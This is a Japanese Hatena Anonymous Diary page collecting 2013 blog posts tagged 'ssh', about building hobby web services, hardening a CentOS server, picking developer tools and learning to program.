「ssh」を含む日記 RSS

はてなキーワード: sshとは

2013-11-04

言語関係なくおすすめ出来るプログラマー向けツール 5+α

今までプログラマーをやってきて、状況や環境に左右されず有用だったツールを書き残しておく。

基本的に Windows, Mac どちらでも動作するもの


1. VirtualBox

https://www.virtualbox.org/

ローカル PC 上に別の OS (LinuxWindows) を動作させる事ができるツール。複数の OS を同居させる事ができるので、自分趣味用のサーバ仕事用のサーバを分けて管理したりできる。昔自分Linux勉強をした時は、メイン PC とは別にサーバPC を買ってきて設定していたけれど、VirtualBox があればそんな面倒な事をしなくても済む。今は VirtualBox を更に簡単に設定できるたツールもあるみたいなので、それを使うのも良いかもしれない。


2. パスワード管理ツール

名前の通りパスワード管理するためのツール。1Password https://agilebits.com/onepassword か KeyPass http://keepass.info/ が良いと思う。サーバサイドのプログラムを始めると、sshデータベース等、様々なアカウント管理する必要が出てくる。root パスワードを忘れた時に、他の人がそれを覚えている保証は無いので保険としてぜひ導入して置いた方が良い。


3. プログラミング向けエディタ

何でも良いので、とりあえず汎用プログラミング向けエディタを使う事をお勧めする。Sublime Text http://www.sublimetext.com/Eclipse http://www.eclipse.org/Vim http://www.vim.org/Emacs http://www.gnu.org/software/emacs/ あたり。Linux に関わるのであれば、VimEmacs どちらかは習得しておいた方が良いが、初期学習コストは高い。EclipseJava 以外の言語にも多数対応していて機能豊富なので、最初はここから始めるのが良いかもしれない。もし Eclipse も難しいと感じたら、より普通テキストエディタ寄りの Sublime Text から始める。


4. git

http://git-scm.com/

最近オープンソースプロジェクトgithub で公開されている割合が多い。そうで無くても git リポジトリ採用率はとても高いので、gitインストール必須と言っても良い。また、個人用のリポジトリを作るのもとても簡単なので、小さいプロジェクトを始める時は最初git init をしてしまうのが良いだろう。もちろん、svnmercurial を使っているプロジェクト存在するので、それらも適宜インストールする。


5. Google Account

これはツールでは無くて Web サービスだが、サイトアクセス解析しろ地図機能の実装にしろWeb サイトの構築を Google 抜きで考えるのは難しい。また、開発メンバーとのコラボレーションを行う場合Microsoft ExcelメールDropBox でやりとりするよりも Goole Drive の Spreadsheet を使う方が便利な事も多いので、意識して Google を使うようにすると新しい発見がある。


+α.

2013-08-02

Sails.jsを使ってpixiv検索サービス作った

Pixearch(ピクサーチ)

http://pixearch.net/

node.jsMongoDB勉強がてらpixiv画像タグ検索サービス作りました

はてブタグ検索のようにpixiv投稿された最近画像pixiv内でのブックマーク数でフィルタをかけて検索できるのが特徴です。

検索したり、タグをたどって、ダラダラと良い絵を眺めるのを目的としています

一応スマホからも見られるはず。

普段はブログを書いたりしてないので、今回学んだことのメモがてらの投稿です。

使ったもの

MongoDBを試そうと思ったのがサービスを作り始めた発端です。

Web部分はmongoDBと相性が良さそうなnode.js採用

MVCフレームワークで何か適当ものはないかとググってSails.jsが良さそうだったので今回採用しました。

ホスティング

今回はせっかくnode.js採用したので、噂のnode.jsPaaSのnodejitsuを試しに使っています

500MB分の容量のMongoDB最初から使えるのも大きかったです。

とりあえず最小のプランにしてるのでどのくらい捌けるのか気になるところ。

作ってみての感想
Sails.js

Web開発用のモジュール自分で用意するのがめんどいなー、という人向けな印象。

このくらいの規模のものだったらサクッと作れました。

ただある程度の規模のちゃんとしたサービスを作るのには色々足りてないので、自分カスタマイズしたりできる人じゃないと使うのは辛そうです。

後、ドキュメントも公式のものだけだと説明されてない機能結構あったりします。

デフォルトだとDBMySQL対応していて、MongoDBを使うにはsails-mongoを入れる必要がありました。

開発中に困ったことは、nodejitsuで動かそうとしてsails-mongoでエラーが出て、調べてみたらauthenticationに対応していないというバグがあったことでした。

手元で直したのでpull requestを送ろうかと思ったら既に他の人が送っていて、3日前ぐらいに取り込まれているので今は大丈夫なはず。

https://github.com/balderdashy/sails-mongo/pull/36

現在進行形で色々Issueが上がって修正がされているのでそのうちこなれてくるのに期待。

かいところで設計考慮がちゃんとされてるなーと感じたところも多かったので、node.jsで開発してる人は一回試してみると勉強になりそうです。

MongoDB

最初コレクション操作に戸惑ったのですが、結局JS連想配列なので思ったより早く馴染みました。

$setとか$gteとか特殊な意味を持つキーがいくつかあるので、その辺を把握できてから色々と捗りました。

MySQLに比べて特に更新系で複雑なクエリが発行できるので、ORMで使うと十全に機能を発揮できないのではないかな、と思ったり。

ご存知スキーマレスなので、何も考えずにデータを突っ込んでるとIntegerで保存したい値がStringになっててソートときに困ったりするので要注意。

指定した容量を超えたら自動で消してくれるCapped Collectionがあると知ったので、今回みたいな容量が限られてる場合に便利かなと試してみたのですが、このオプション有効にしたコレクションだとデータアップデートや削除ができなくなりました。

おそらく、追加しかしないログのようなデータの保存に使うもののようです。

nodejitsu

まだ微妙な部分も多かったですが、デプロイとかコマンド一発でできて、設定管理がpackage.jsonでできたりして面白かったです。

今回は、特に問題が起きたとき環境sshで入ったりできないので、表示されてるログだけで問題を調査するのに苦労しました。

MongoLabとMongoHQというMongoDBの外部ホスティングサービスが上述したように使えるのですが、無料の容量を超えて使うにはそこそこお金が掛かるのでモリモリ容量を使うものを考えている場合は注意がいります。(もちろん値段に見合ったプロダクトを提供してくれると思いますが)

ということで、せっかく作ったので是非試してみてください。

2013-07-18

http://anond.hatelabo.jp/20130718005944

sshってどこにログインすれば情報あるんだよ!

って見た瞬間突っ込んでしまって本当に申し訳ありませんでした。

http://anond.hatelabo.jp/20130717014800

最近SSHとかあるから高校のうちから結構具体的な目的意識が持てるんじゃないかな。

俺の場合は親(ガチ理系研究者)にいろいろ教えてもらってたけど。

2013-03-14

それでもWEBサービスが作りたいんだ!

WEBサービスを作ったけれど全然からない!

そんな声を最近よく聞きます

僕もいくつかWEBサービスを作ってきたので分かるのですが

収益アフィリエイト広告であげようとしているWEBサービスは相当なアクセスがないと全く儲からないです。

少なくとも継続して1日あたり数千アクセスないと厳しいかなと思います。内容にもよるかもしれませんが。

僕が運営しているエロいWEBサービスの1つだとけっこうアクセスはあるのですが月間の利益はせいぜい3、4千円。

制作に費やした時間学習コストを考えるとコンビニアルバイトでもした方が何十倍も稼げるレベル

というかサーバー代を考えるとひょっとしたら赤字・・・

http://anond.hatelabo.jp/20130124122021

この日記の人も書いているけど特にはてな経由のアクセスからは売り上げは全く上がらないと思います

から、これからWEBサービスを作ろうと思っている人に言いたい。

利益を得ることを目的WEBサービスを作るというのは間違っていないと思うけれど

アフィリエイト広告収益モデルとした場合、悲しい結末が待っている可能性が高いです。

僕は収益をあげること以外の目的も作った方が良いと思います

お金が儲からないのなんか分かってる。


それでもWEBサービスが作りたいんだ!

そんな熱い気持ちで作ってほしいです。

もし、WEBサービスで沢山のアクセスを集めることができたなら

お金以外の貴重な経験を得ることができます


例1)はてな経由やニュースサイトなどに取り上げられ爆発的なアクセスがあった場合

1、ベンチマークテストなどでは得られない生の負荷が経験できます。
↓
2、想定外アクセスにあわわわわわ状態になります。
↓
3、アラートメールがしこたま来ます。
↓
4、サイトが表示されなくなります。
↓
5、パニックになりながらもsshサーバー接続して原因を調べようとします。
↓
6、sshサーバー接続できない状態に呆然します。
↓
7、気持ちを落ち着かせるためXVIDEOSに行きます。
↓
8、賢者になります。
↓
9、再度サーバー接続します。重いながらなんとか接続成功します。
↓
10TOPで探ります。
↓
11、いろいろ調整します。場合によってはサーバーを上位プランに変更します。
↓
12トラブルを乗り越え落ち着きます。
↓
13、FC2アダルトに行きます。
↓
14、大賢者になります。
↓
15、おもむろにメーラーを起動します
↓
16、件名:** PROBLEM Service Alert
↓
17、ふぁああぁあぁぁぁあぁぁぁぁぁぁぁぁぁ )゜д゜(

上記をループします。

例2)自分の作ったサービスに対するなんらかのアクションがある(特にはてな経由の場合


見ず知らずの人からメールやらコメントやらがもらえます。

・すごくいい

・すげー

・便利

・無言ブクマ

・俺もこんなの作りたい

・後で試す

・使えない

・しね

・ゴミ

など、悦に入ることができたり、精神的なダメージを受けたりします。

例3)彼女ができて同棲できます

http://razokulover.hateblo.jp/entry/2013/01/23/220418

WEBサービスで得られたわずかなアフィリエイト収入を使ってアドワーズ彼女を募集したら

綺麗なお姉さんと同棲できます

例4)話題になることで色んな人と仲良くなれたりします。

人脈ができて素晴らしいことになります

女の子モテします。

どうです?けっこうすごくないですか?

特に例3が!

まさにプライスレス!!!

WEBサービスってすごいんです!

こんな素敵な経験ができるかもしれないんです。

から、今回、僕も熱い気持ちでWEBサービス作りました

二番煎じだろうが二匹目のどじょうだろうがどうでもいいです。


彼女が欲しい!


僕は彼女が欲しいんだ!

ではどうやって彼女を作るか?

例3の場合アドワーズを使ってたよな?


・・

・・・これだ!!!


自分WEBサービス彼女募集広告載せようwww

そんなわけで一生懸命作ってみました。



サイト名:nweet

http://nweet.net/

・どんなサイトか?

お気に入りエロ動画ブックマークしているとサイドバーに表示しているブックマーク欄が肥大化しすぎてうざい

そんな人におすすめです。

XVIDEOS、FC2アダルト、RedTubeでまた見たいと思った動画再生ページのURLツイートしておけば

後でnweetにログインするだけでツイートした動画を直近100件のツイートから抽出ブログします。

月別、日別、ハッシュタグ別で見れます

埋め込みプレイヤー表示可能な物はサイト内でプレイヤー表示しています

ツイートした動画からキーワード検索可能。お気に入り機能あり。スマホ対応

・使い方

例)XVIDEOSの場合

XVIDEOSの動画再生ページにはツイッターボタンがついてます

shareツイッターマークを選んでクリック再生ページのURL入力されているツイートボックスが表示されるのでそのままツイート

動画を分類したい場合ハッシュタグをつけてツイート(#巨乳 など)

その他のサイト再生ページにツイートボタンがついています

後はnweetにログインするだけ

一瞬でブログ化完了です。

nweetではツイッターOAuthを利用したログイン機能を実装しています

ツイッターアカウントをお持ちであれば誰でもご利用頂けます

で、作ってから気付いたんです。

これ、エロサービスじゃん・・・

・・・エロサービス彼女募集してどうする!!!

てか、女の子エロサービスってほとんど使わないじゃん!?意味がね~!!!

どうしよう・・・諦めたくない・・・

俺も可愛い女の子と仲良くなりたいんだよ!!!

う~ん・・・


・・

・・・

・・・・これだ!!!



もう一個、同じ機能普通の作ればいいじゃん!

というわけで彼女募集用サイト作りました

サイト名:atodemiru

http://atodemiru.com/

機能的にはnweetと同じです。

抽出対象URLyoutubeニコニコ動画FC2動画Nosub、B9DM、anitube、Dailymotion、veoh、pandora、56.com、clip.vnとなっています

同じく直近100件のツイートの中から上記の動画再生ページのURLを含むツイート抽出ブログします。

これで、もう彼女ができたも同然です!

アドワーズ男の早川さんに続く伝説WEBサービス男の幕開けになるはずです!

書籍化されたら印税がっぽりかな~

うひょ~!!!!!!!!


とここまできて、冷静になったんですが

ネット彼女募集なんて怖いよね・・・

応募する人って変な人しかいないんじゃないのか?

まあ、おっさんなのにこんなWEBサービス作ってる僕の方が相当あれですがw

そんなわけで、ひっそりとカムフラージュして募集しようかと思います

ええ、本当はこの年でこんなことしてるのが恥ずかしい。

というかいい大人で常識ある人間はこんなことしない。

こんなことして許されるのはせいぜい大学生くらいまでだ。

けど、彼女は欲しい・・・どうしよう・・・

という葛藤の末に考えた方法カムフラージュだっただけですw

見つけた~!!!といういう女子20歳以上)の方は応募してみないか

さて、長くなりましたが

サイト名:nweet

http://nweet.net/

サイト名:atodemiru

http://atodemiru.com/

良かったら使ってみてね。

このサイト技術的なことに興味ある方はこちらをご覧下さい。ツイッターもやってるんでフォローしてね。

http://nante.hatenablog.com/entry/2013/03/14/144250

最後に、僕は自分楽しいから

お金にならなくても彼女ができなかったとしても

それでもWEBサービスが作りたいんだ!

と思っています

そして、これから時間があれば自分楽しいと思えるようなWEBサービスを作っていこうと思います

2013-03-13

サーバ初心者Webサービスを公開するうえで考えたこと

だって自作Webサービス公開しました

http://www.radiosonde.net/

これまで他の人に用意してもらったサーバ自分プログラムを動かしたことはありましたが

自分自身で一からサーバをセットアップしたことはほとんどなかったので、いろいろとハマりました。

作業を進める上で困ったり考えたりしたことを書いていきます

ちなみにサーバ自体はさくらのクラウドOSにはCentOSを使用しているので、それ前提のお話になります

SSHファイヤーウォールの設定

最初サーバを起動してから速やかにSSHファイヤーウォールの設定を変更しました。

はてブなんかでも定期的に話題になっているのでおなじみですね。

SSHポートを22以外の別のポートに変更する

rootによるリモートログインを禁止する

パスワードログインを禁止し、鍵認証有効にする

・念のためrootパスワードを潰しておく

SSHHTTP(S)など、どうしても公開しなければならないポート以外は遮断する

SSHポートについてIP制限が行えるならば尚良い

さらっと書きましたが、設定をミスって自分自身もログインできなくなり、何度かOSの再インストールを繰り返しています

から気付いた事ですが、さくらのクラウドではクラウド管理画面のリモートスクリーン経由でローカルログインできるので

別にOSインストールしなくてもiptablesの設定を変更できたんですよね...

逆に言うといくらファイヤーウォールとSSHを設定しても管理画面にパスワードログイン環境が残ってしまうので

パスワード管理には引き続きしっかり気を使う必要がある。ということでもあります


Webアプリの動作が重い

httpd,php,mySQL,memcachedなど必要サービスインストール、設定し

作成したWebアプリプログラムを乗せて動かしてみました。が、動作が重いような...

開発環境ではさくさく動いていたのに、本番環境ではどのページ遷移ももっさりしています

abで計測してみたところ、開発環境のおよそ2分の1のスコアとなってしまいました。

開発環境が仮想2コアのメモリ1Gだったのに対し、本番環境が仮想1コアのメモリ2G

CPUの性能について半減しているのでそのせいかな、と思いつつ設定を見なおしていたところ

特に使っていないと思われたipv6を停止した途端にパフォーマンス改善されました。

ページ遷移に伴うもっさり感が解消され、abの計測結果も開発環境と遜色ない結果が出ています

デフォルト有効になっていたipv6の影響により余計な処理が走っていたのかもしれません。


サーバから送信したメール迷惑メールと判定される

パフォーマンス改善に喜んだのも束の間、会員登録などの処理でWebアプリからメールを送信したところ、Gmail宛のメールがことごとく迷惑メールと判定されるという事案が発生。

spfの設定を行なうメールの内容について吟味するなどの回避策を試してみましたが一向に改善されません。

試しにHotMailexciteメールアカウントに送信したところ、そちらではそもそもメールを受け付けてもらえずエラーコードが返って来る始末。

困り果てていたところ、エラーの内容からサーバIPがspamhousにスパム送信元として登録されていることが判明しました。

postfixホスト名の設定がデフォルトで「localhost.localdomain」などとなっており、それをそのまま使っていたためにGmailスパム送信元として通報してしまったようです。

設定を修正し、spamhousに解除依頼を提出。事なきを得ました。


KVSの変更

クラウドを利用すれば、サーバを停止することなく簡単な設定でスケールできるようになる。

と、自分勝手に思い込んでいたせいなのですが、消えては困るデータの一部をmemcachedに保存する実装を行なっていました。

実際のところさくらのクラウドではサーバを完全に停止しなければプラン変更を実施できないし

そもそもサーバが落ちたらどうするんだよ。ということで、急遽KVSを変更する必要に迫られました。

速度の低下が気にかかったため、いくつかの候補を実際に動かし

phpスクリプトから1万件のデータ読み書きを行うという形でmemcached比較してみたところ次のような結果に。

サービス1万件書込1万件読込
memcached 2.55秒 2.30秒
handlersocket 21.23 2.71秒
InnoDB20.23 5.10
kyotoTycoon 8.22秒 7.72秒

さすがに読み書きそれぞれmemcachedが最速ですが、読み出しについてはhandlersocketも負けていません。mySQLから普通にSELECTしてもmemcachedの2倍程度の時間しかからないという結果が意外でした。

しかしながら書き込みのほうではhandlersocketもmemcached10倍近くの時間がかかっており、少々速度的な影響が気になってきますmemcachedの倍のパフォーマンスを記録したという記事を見たことがあるので、設定、チューニングについて生かしきれていない部分があるのかもしれないとも思いましたが、知識が不足しているところで無理をすると問題が発生した時に対処できないと考え、候補から除外することとしました。

結局、今回の用途では読み込み処理より書き込み処理のほうが圧倒的に多いことも考慮し、kyotoTycoonを採用しました。実際の利用箇所に組み込んでabで計測してみたところ、だいたい30%程度のパフォーマンス低下にとどまっており、これなら許容範囲かと考えています

mySQLレプリケーションが止まる

実行系と参照系に分ける形でmySQLレプリケーションを行なっていたのですが、度々レプリケーションが停止する現象が発生しました。

一部のテーブルについて肥大する可能性が考えられたため、参照系に接続するプログラムで使わないテーブルをレプリケーションから除外していたのが原因です。

例えばtabelAをレプリケーションし、tableXをレプリケーションしないという設定にしたうえで

実行系でINSERT INTO `tableA` SELECT `value` FROM `tableX`などといったクエリを発行すると、参照系にtableXが無いためエラーが発生して止まってしまます

レプリケーションするテーブルを限定する場合プログラム側でも注意を払わないと危険です。当たり前ですが。

サーバ監視にmonitを使用

監視といえばcactinagios定番なのかもしれませんが、設定が複雑そうで尻込みし、monitを使用することにしました。

簡単な設定でloadaverageやメモリHDDの使用量をチェックできるほか

httpdmysqldなどといったサービスプロセス監視し、もし落ちていたら自動で起動してくれるので助かります

Webアプリの秘匿

パスワード保護を行うとしても、サイト全体の管理画面など自分しか使わないプログラムWeb晒しておきたくない。

というわけで、一部のWebアプリを秘匿する設定を行いました。

管理画面のWebアプリを9999番など閉じているポートに設置した上で、SSHを利用したトンネルを掘ります。といっても

ssh -t -L 9999:localhost:9999 user@xxx.xxx.xxx.xxx

上記のようなコマンド管理画面のWebアプリを置いたサーバログインするだけです。

ブラウザアドレス欄にhttp://localhost:9999/と打ち込めば、接続が開いている間のみアクセス可能になる感じですね。

サーバログインできる人でなければ実行できないことなので、気分的にある程度安心します。

SSHログバックアップ

自動ログバックアップを行いたいと考えたのですが、パスワード無しの鍵でログインして転送する形には抵抗がありました。

調べてみたところ、authorized_keysに公開鍵を記入する際の設定で、その鍵でできることを制限するという手段があるようでした。

具体的には、authorized_keysに

no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="some commands" ssh-rsa AAAAB3NzaC1yc2EAAA...

などとして公開鍵を追加しておくと、その鍵でログインした直後にcommand=""の部分で設定したコマンドを実行して接続を終了する挙動となり

接続フォワードもできなくなるため、パスワード無しでも鍵の流出に関するリスクを最低限に留めることができるというわけです。

commandの実行結果は標準出力から受け取ることができるので、例えばcommand=""の部分にファイルの内容を表示する処理を設定していたとすれば

ssh -i .ssh/no_password_key user@xxx.xxx.xxx.xxx > /path/to/file

などとしてログインの結果をファイルに書き込むだけで、簡単にファイル転送が実現できます


まとめ

他にも大小さまざまな問題に行きあたりましたが、忘れてしまったor書ききれないのでここまでとします。

たった1つのサイトを公開するにしても問題というのは尽きないものだと実感させられました。

今は基本的な情報だけでなく、ちょっと突っ込んだ内容でも検索で解決していけるので嬉しいですね。手がかりを残してくれた先達に感謝することしきりです。

現状ではひとまずの見切りを付けて公開していますが、より堅牢で負荷に強いサーバとなるよう、随時チューニングを行なっていこうと考えています

最後

作ったWebサービスについて少し書きます

サイト名は「Radiosonde」

個人サイトや小規模な商業サイトなどプロモーションにあまりお金をかけられないサイトを主な対象とした、無料で出稿できる広告ネットワークサービスです。

既存サービスで近いのは「あわせて読みたい」や「zenback」、各社提供RSS相互リンクサービスなどになるでしょうか。

広告としての体裁がある分、それらより若干積極的な性質になるのではと考えています

現時点ではサービス本体のプロモーションに苦心するという本末転倒のものの状況でありますが、もしよろしければ見ていただけると嬉しいです。

2013-03-03

RailsとTwitterBootstrapでエロ動画ソーシャルブックマークWebサービス作った

Rails + Twitter bootstrapでエロ動画ソーシャルブックマークWebサービスソーシャルオナニー=ソシャニーを作りました


こちらです http://www.socianie.com


【なにこれ?】

かっこつけた言い方をすると、

「いっぱいエロ動画あるけど結局みんなどんなお宝動画で抜いてるの?という日常的な疑問への答え」

とかでしょうか。

実際どんな事が出来るサービスかというと、基本的には、はてなブックマークのようにエロいページをブックマークする(その時に、コメントを付記することができる)というものです。

サイト内の他のユーザーフォローすることができ、TwitterのようにTimelineのようなものがあってそこにフォローしている人がブックマークしたページが表示されます(そのページが、xvideos,fc2などの有名サイトならば埋め込みプレーヤーですぐ再生出来ます。)

まりフォローしてる人の最新お気に入りエロ動画がチェックできます

ブックマークされたページはそれぞれが固有のページを持っており、タグを付ける事ができます

ユーザーブックマークしたもの動画一覧で横断的に見ることができ、並び替え・検索などが出来ます

ブックマーク数で今日ランキング今週のランキングなどが見れます

あと、累計ブックマーク数によってユーザーランクが上がったりします。

TwitterOAuth認証ログインが出来ますTwitterツイート投稿などはしません。また、サイト内の名前アイコンTwitterのものを流用するかどうかも自分で決められます。)



他のエロサイトとの違いは、3つあると思っています

ソーシャル機能。他にも世の中に色々素晴らしいエロサイトがありますがそれらはソーシャル機能を持つものが少ない。

②上記の話とちょっと被ってますが、他のサイトは基本コンテンツ自体を自動クローリングするけれどソシャニーはそこをユーザー自身に委譲しているため、集まってくる動画の質はそれに比べて上がるんじゃないかというのと、

エロサイトありがちな出来るだけごちゃっと感を無く広告も無しでTwitter bootstrap使って小綺麗な感じ


作成後記】

Webサービス作るならRailsかな楽で便利らしいしというざっくりとしたイメージからRailsで作り始めましたが、

ネット情報入門書に取り組んでもサンプルと同じモノは作れても実際自分が作りたいモノになると、で、どうやるの?となりなかなか進みませんでした。

Railsは色々と勝手によろしくやってくれる機能が多すぎて実際何が起きてんの?というのがわかりづらいというのが第一印象でした。

色々試行錯誤した結果、一番参考になったのはRails tutorial( http://ruby.railstutorial.org/ruby-on-rails-tutorial-book )でした。

英語ですがバージョンは新しいしBootstrapの使い方もわかるしサンプルがTwitterクローンサービスを作ろうというなかなかおもしろものなので途中で飽きること無く取り組めました。

何かを学ぶ時は、モチベーションが続く形の学び方が一番いいと思いました。

僕はエロ動画が大好きなので、エロサイトというのもモチベーションの1つです(ただ、作業中に脱線して気づいたらキーボードではなく下半身に手が伸びているという事もありました。)

また、上記のチュートリアルテスト駆動開発なのでSpecテストをモリモリ書いているのですが、とりあえずはテストに関しては何をやってるのかざっと眺める程度で精読しませんでした。

まずは全体像を把握して何が必要か把握したかたからです。結果的に最後までやりきれたので良かったと思います



あとは、Rails固有の知識ではなくWebサービス全般の知識で足りないな、と思ったときネット上や本屋立ち読みで済ましました。

ネットで細切れにお勉強している場合本屋で体系的にまとまっている本をざっと読むと意外に抜けてる知識が保管されたり脳内インデックスが作れるのでいいと思いました。


バージョン管理gitを使いました。

理由はみんなが良い良いというので乗っておくかという安易なものです。

実際のところgitの良い所を使い倒せているのかというと全くそんな事ないですね。

せいぜいstash位でしょうか。あとbisectとか。


リポジトリ最初DropBoxに作ってたのですが、途中からBitbucketを使いました。

GitHubを使わなかった理由はBitbucketプライベートリポジトリ無料で持てるからです。

また、恥ずかしがり屋なのでGithubで公開は敷居が高いと感じたからです。

初のRailsプロジェクトというのもありソースがイケてないので恥ずかしいのです。

いつかイケメンコードGithubで公開してオレツエーしたいものです。


サーバーエロOKのところを探すのがなかなか難しく結局海外VPSを使いました。

Linodeというところですが、他との違いを挙げるとiPhoneアプリ経由で再起動などが出来たりします。あまりこの機能使ってないですが。

OSベタCentOSです。

構成はpassenger+apacheで、DBSQLite特にLBなどはないです。

諸々構築後に人気が出た時困らないように負荷分散のお勉強なんぞもやりかけましたがまずは不要かなということで辞めました。

ちなみにサーバーがUS西海岸なのでSSHで作業するとエディタちょっともっさりすることがありました。


プロジェクト管理は、会社でも使ってるのでRedmineかなと思ったのですがどうせ一人だしRedmineのUIきじゃないのでTrello( https://trello.com/ )を使いました。

TODO,Doing,Done,Bug,Suspendのリストを作ってやること忘れないように管理しました。

ふと出先で思いついた機能とかをiPhoneでスイっと追加など出来て便利でした。


正月に公開してお友達界隈で見てもらったんですが、よかれと思って作ったChrome拡張CSRFの対策が不備あり結局ブックマークレットにしたり、

ソースを見てもらったら設計RestfulじゃないとかControllerがfat過ぎるModelに押しこめなどアドバイスをもらえたり無知な僕には色々とお勉強になりました。

出来たものはしょぼいものですが、「Webサービス作ったことないコンプ」は少し解消出来た気がします。


以上、月19ドルも払ってるのにお友達だけで使われてるのも寂しいので増田でまとめついでに宣伝してみました。

叩かれるんでしょうか。怖いです。いじめないで。

2013-02-06

もしプログラミング初心者新人に基礎教育を施すなら

オープン系のデスクトップアプリ開発、Webプログラミングシステムプログラミングを仕事にする人向けとして考えてみた。

学習環境Ubuntu Linuxで、デスクトップ上のターミナルか、WindowsからTeraTermsshログインして行うことを想定。

なので前提知識としてLinuxabcくらいは教えておくとして、もし来年度やるならこんなもんかな。

結構分量多めだけど、これでも基礎の基礎に絞った感じ。


  1. Pythonで学ぶ手続き型プログラミング
  2. Javaで学ぶオブジェクト指向
  3. C言語で学ぶメモリの仕組み(主に配列ポインタ構造体関連)
  4. Perlで学ぶ文字列処理(正規表現ハッシュCGIを含む)

おまけ:Pythonで学ぶ関数型プログラミング


なお、上述のカリキュラムでやらない言語(VBjavascriptC++Objective-CC#PHPRubyなど)やWebフレームワーク(DjangoRuby on Railsなど)は、全てこれらの応用で覚えられると思うので、基礎教育終了後に各現場にてOJTで習得してもらう。

IDEも使わないけど、はじめの一歩で軽量エディタ+コマンドラインをやり込んでいれば正直どうにでもなるので省略。

あと最後がおまけ扱いな上にLISPで学ばないのは、要するに「リストすげー!超すげー!!」という感動を胸に今後も頑張ってもらうのが狙いなので(だって現状使う機会殆ど無いし)、最初にやって一番手に馴染んでいるツールで、理解のコアになる部分にサクッと触れて欲しいということ。


ちなみに来年度、自分教育係になる可能性は今のところ無い。

2013-01-04

素人が完全自作SNSを作ってみてわかったこと。

ひっそりと、Webサービスリリースしました

http://tag-chat.net

で、チャットがメインのSNSです。

自動マッチングしてチャット相手を見つけてくれるマッチングチャットや、すぐにチャット相手を見つけてくれるフリーチャットコミュニティチャット、フレンドチャットなど、とにかくチャットがメインのSNSです。





自分について

昨年の4月からプログラムを学び始めた素人。22歳。札幌在住。





■今更SNSを作ろうと思ったきっか

FaceBookがウザい。というか嫌い。

これがきっかけ。

顔本が良いSNSだと話題になっていたので、実名登録してみた。大学の知り合いが見つけてくれて、友達登録などが増える。(ほとんど話したことがない人から友達登録が来て、「おぉ!これで俺も友達が増えるんだ!」とワクワクしていた)。

が、流れてくるのは自慢ばっかり。

コミュ障彼女はおろか、女友達ほとんどいない自分にとって顔本で「飲み会行ってきたぜウェーイw」とか、「○○ちゃんの誕生日なう!」とか、「○○勉強会行ってきたました! みんな熱い人ばっかりで最高!」とか書いてあるのを見て「こんなSNSは嫌だ……」と思った。


ようするに嫉妬です。

で、自分の好きなようにSNS作ってみたいなぁ。と思いました。

自分趣味レトロゲーなので、自分と同じ趣味の人と話せたら素敵だな。ということでチャット式のSNSを思いつく。

が、Webサービスを独力でつくるのはこれがはじめて。というより、プログラム自体がはじめて。

案の定、前途多難だった。

やはりザッカバーグは天才だった。

そして私はアホだった。

■とにかく計画を立てる。

ざっくり、どんな機能が欲しいか考える。自分の力じゃ無理そうでもOK.とにかく妄想を爆発させる。

妄想した機能

・基本的なSNS機能

メッセージ機能コミュニティ機能あしあと機能日記機能コメント機能つぶやき機能など。

・核となるチャット機能

ミニティ専用のチャットルーム、アカウント専用のプライベートチャットルーム(鍵をかけられる)、自動チャットが開始されるフリーチャット自分の指定した条件にあう人を自動で見つけてきてくれて、チャットができちゃうマッチングチャット

などなど。






■そんなに簡単にSNSが作れるわけがない。

妄想するのは簡単だ。でも、全くわけがからない。何から手をつけていいのかわからない。

とりあえずグーグル先生相談

OpenPNEという簡単にSNSが作れるものがあると知る。

「うはwwww これで勝つるwww」と思ったけれど、どうやってチャット機能を追加して良いのかわからなかった。改変しようにも謎の記号がめちゃくちゃにならんでいてどうして良いかからない。

しかも、改変したら改変したでそれを全世界に公開しなくちゃならないらしい(オープンソースというらしい)。

無理だ。

と思ったので1から勉強することにした。

とにかくサーバーサイドの言語と、データベースについて勉強しろや! とのことだった。






■使う言語について。

サーバーサイドを扱える言語はたくさんあって、PerlとかPHPとかPythonとかRubyとか色々あるらしいのだが、色々悩んだ結果


PHPにした。WebサービスならPHPが良いらしい。レンタルサーバーなどでも簡単に扱えるらしい。

後でPHPがクソ言語という話も聞いたが、とにかく最初に選んだのがPHPだったので。

それになにがクソ言語かとか、未だによくわからない。






■入門の勉強で使ったもの

PHP 

よくわかるPHP教科書http://www.amazon.co.jp/dp/4839933146/

MySQLとかについて一通り書いてあるので良かった。二週間くらいでなんとか全部こなした。xamppなども触って、ローカルサーバーで色々試した。

これが終わったら、

パーフェクトPHP http://www.amazon.co.jp/dp/4774144371/

パーフェクトって書いてあるから、パーフェクトなはずだと勝手に思い込む。

実際かなりすごい内容で、胃もたれ起こした。一ヶ月くらいで三回くらい読んで、大体のところを理解した。

フレームワークCakePHPを使ったので、MVCについてのくわしい記述は大変参考になりました。



MySQL

基本的には、よくわかるPHP概要をつかんで、それから

基礎からMySQL勉強。 http://www.amazon.co.jp/dp/4797344385/

最期

ハイパフォーマンスMySQL http://www.amazon.co.jp/dp/4873114268/

インデックスの貼り方などについて勉強した。






チャットに向いている技術

とりあえず掲示板くらいはつくれるようになったので、チャットについてリサーチ

ajaxとかよくわからん技術nodejsを使った非同期処理などがあると知る。

nodejsはC10K問題という問題を解決するすごいものらしく、かっこいいらしいのでこれを勉強することに。

ついでにnodejsと相性の良い、mongoDB勉強することに。







javascript勉強

よくわかるjavascript  http://www.amazon.co.jp/dp/4839941874/

終わったら、

パーフェクトjavascript http://www.amazon.co.jp//dp/477414813X/

パーフェクトjavascriptnodejsについてものすごく詳しく書いてあったので、とても参考になった。このあたりで、LINUXというOSを扱わなくてはいけないと気付き、自宅PCウィンドウからLINUXubuntu)に変えた。


mongoDB勉強

これはとにかく触ってなんぼでした。MySQL感覚が違い、苦労しました。

CakePHPmongoDBを扱うのは

https://github.com/ichikaway/cakephp-mongodb

という素晴らしいものを利用させていただきました。




■このへんで一回限界がきた。

なんとなくnodejsを扱うこともできるようになり、それなりに楽しいと思ってはいものの、「SNS作ったる!」と思ってから六ヶ月以上が経過していた。

さらWebサービスを公開するにはデザインもそれなりにしなくてはいけないらしく、CSSなどについて勉強しなくてはいけないと知る。



勉強に終わりが見えなくて、「しんどいなぁ」と思った。

一人でWebサービス作ってる「ゆーすけべー」さんとかすごいなと思った。

勘違いサブカル野郎だと思っていた「家入一真」とかもやっぱりすごい人なんだと思った。

自分はなんもできないなぁ。と痛感した。



で、悩んでても仕方ないので、デザインはバッサリあきらめることにした。


もうなんでもかんでもやるのは無理なので、捨てるものは捨てることにした。

■それなりのデザイン他力本願で。

基本的に Initializr  http://www.initializr.com/  (テンプレートエンジン

